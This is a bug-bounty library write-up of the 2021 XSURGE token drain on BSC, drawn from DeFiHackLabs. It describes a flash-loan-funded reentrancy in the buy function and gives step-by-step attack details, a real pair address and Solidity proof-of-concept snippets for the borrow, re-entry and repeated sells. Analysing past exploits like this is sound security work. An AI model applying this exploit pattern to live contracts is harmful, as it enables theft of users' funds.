# XSURGE: reentrancy in buy inflates balance, drains pool

XSURGE on BSC was drained via a flash-loan-funded reentrancy: the buy function's ETH callback re-entered buy six times, inflating balance before repeated sells.

- Payout: Real-world hack
- Severity: high
- Program: XSURGE
- Analysis by: DeFiHackLabs
- Disclosed: 2021-08-17
- Write-up quality: 6/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2021-08/XSURGE_exp.sol
- Library page: http://bugbountylibrary.com/r/dhl%3A20210817-xsurge
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:high tech:evm tech:solidity vuln:business-logic vuln:flash-loan vuln:reentrancy

**Target:** XSURGE token contract on BSC (buy/sell functions)
**Root cause:** The buy function sends ETH to the buyer before updating state, allowing the buyer's receive() to re-enter buy and repeatedly credit tokens; the attacker then sells the inflated balance.
**Steps:**
1. Flash-loan 10,000 WBNB from PancakeSwap pair `0x0eD7e52944161450477ee417DE9Cd3a859b14fD0` via `swap(0, 10_000 * 1e18, address(this), "0x00")`.
2. In `pancakeCall`, unwrap WBNB to BNB via `wbnb.withdraw`.
3. Call `Surge_Address.call{value: address(this).balance, gas: 40_000}("")` to trigger buy.
4. In `receive()`, while `msg.sender == Surge_Address && time < 6`, re-enter buy with remaining balance and increment `time`.
5. After reentrancy, call `surge.sell(surge.balanceOf(address(this)))` seven times to dump inflated token balance.
6. Wrap proceeds back to WBNB via `wbnb.deposit`, repay 10,030 WBNB to the pair, and transfer profit to `mywallet`.
**Exploitation:** Attacker flash-borrows 10k WBNB, unwraps to BNB, calls XSURGE buy which forwards ETH to the attacker's receive(); receive() re-enters buy up to six times, each time receiving ETH back and being credited tokens. The attacker then sells the accumulated XSURGE tokens repeatedly, crashing the price and extracting WBNB, repays the flash loan plus fee, and keeps the remainder.
**Escalation:** Reentrancy loop (6 iterations) multiplies the token credit before the sell, amplifying profit beyond a single buy.
**Insight:** When a token's buy/sell sends native ETH to the caller before updating balances, a receive() fallback can re-enter buy to mint extra tokens; check for state updates after external calls in token contracts with ETH refunds.

## Proof of concept (copied exactly from the original report)

**Flashloan swap triggering pancakeCall exploit**

```
ipancake.swap(0, 10_000 * 1e18, address(this), "0x00");
        // wbnb.withdraw(wbnb.balanceOf(address(this)));
        // VISR_Balance =  visr.balanceOf(msg.sender);
        //emit log_named_uint("WBNB Balance",wbnb.balanceOf(address(this)));
        emit log_named_uint("Exploit completed, WBNB Balance", wbnb.balanceOf(mywallet));
```

**Buy then repeated sells in callback**

```
wbnb.withdraw(wbnb.balanceOf(address(this)));

        (bool buy_successful,) = payable(Surge_Address).call{value: address(this).balance, gas: 40_000}("");

        surge.sell(surge.balanceOf(address(this)));
        surge.sell(surge.balanceOf(address(this)));
        surge.sell(surge.balanceOf(address(this)));
        surge.sell(surge.balanceOf(address(this)));
        surge.sell(surge.balanceOf(address(this)));
        surge.sell(surge.balanceOf(address(this)));
        surge.sell(surge.balanceOf(address(this)));

        wbnb.deposit{value: address(this).balance}();

        wbnb.transfer(Pancake_Pair_Address, 10_030 * 1e18);
```

